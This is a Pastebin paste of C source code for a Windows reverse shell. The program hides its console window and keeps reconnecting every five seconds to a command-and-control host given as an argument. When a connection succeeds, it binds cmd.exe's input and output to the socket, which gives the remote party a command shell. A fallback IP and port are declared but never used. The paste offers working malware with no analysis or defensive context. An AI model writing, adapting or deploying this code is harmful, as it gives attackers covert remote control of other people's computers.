SHARE
TWEET

Untitled

a guest Aug 20th, 2019 69 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <winsock2.h>
  2. #include <windows.h>
  3. #include <ws2tcpip.h>
  4. #pragma comment(lib, "Ws2_32.lib")
  5. #define DEFAULT_BUFLEN 1024
  6.  
  7.  
  8.  
  9.  
  10. void RunShell(char host[], int port) {
  11.     while(true) {
  12.         Sleep(5000);    // 1000 = One Second
  13.  
  14.         SOCKET mySocket;
  15.         sockaddr_in addr;
  16.         WSADATA version;
  17.         WSAStartup(MAKEWORD(2,2), &version);
  18.         mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
  19.         addr.sin_family = AF_INET;
  20.    
  21.         addr.sin_addr.s_addr = inet_addr(host);  //IP received from main function
  22.         addr.sin_port = htons(port);     //Port received from main function
  23.  
  24.         //Connecting to Proxy/ProxyIP/C2Host
  25.         if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
  26.             closesocket(mySocket);
  27.             WSACleanup();
  28.             continue;
  29.         }
  30.         else {
  31.             char RecvData[DEFAULT_BUFLEN];
  32.             memset(RecvData, 0, sizeof(RecvData));
  33.             int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
  34.             if (RecvCode <= 0) {
  35.                 closesocket(mySocket);
  36.                 WSACleanup();
  37.                 continue;
  38.             }
  39.             else {
  40.                 char Process[] = "cmd.exe";
  41.                 STARTUPINFO sinfo;
  42.                 PROCESS_INFORMATION pinfo;
  43.                 memset(&sinfo, 0, sizeof(sinfo));
  44.                 sinfo.cb = sizeof(sinfo);
  45.                 sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
  46.                 sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
  47.                 CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
  48.                 WaitForSingleObject(pinfo.hProcess, INFINITE);
  49.                 CloseHandle(pinfo.hProcess);
  50.                 CloseHandle(pinfo.hThread);
  51.  
  52.                 memset(RecvData, 0, sizeof(RecvData));
  53.                 int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
  54.                 if (RecvCode <= 0) {
  55.                     closesocket(mySocket);
  56.                     WSACleanup();
  57.                     continue;
  58.                 }
  59.                 if (strcmp(RecvData, "exit\n") == 0) {
  60.                     exit(0);
  61.                 }
  62.             }
  63.         }
  64.     }
  65. }
  66. //-----------------------------------------------------------
  67. //-----------------------------------------------------------
  68. //----------------------------------------------------------
  69.  
  70. int main(int argc, char **argv) {
  71.     FreeConsole();
  72.     if (argc == 3) {
  73.         int port  = atoi(argv[2]); //Converting port in Char datatype to Intege$
  74.         RunShell(argv[1], port);
  75.     }
  76.     else {
  77.         char host[] = "192.168.56.130";
  78.         int port = 8080;
  79.  
  80.     }
  81.     return 0;
  82. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top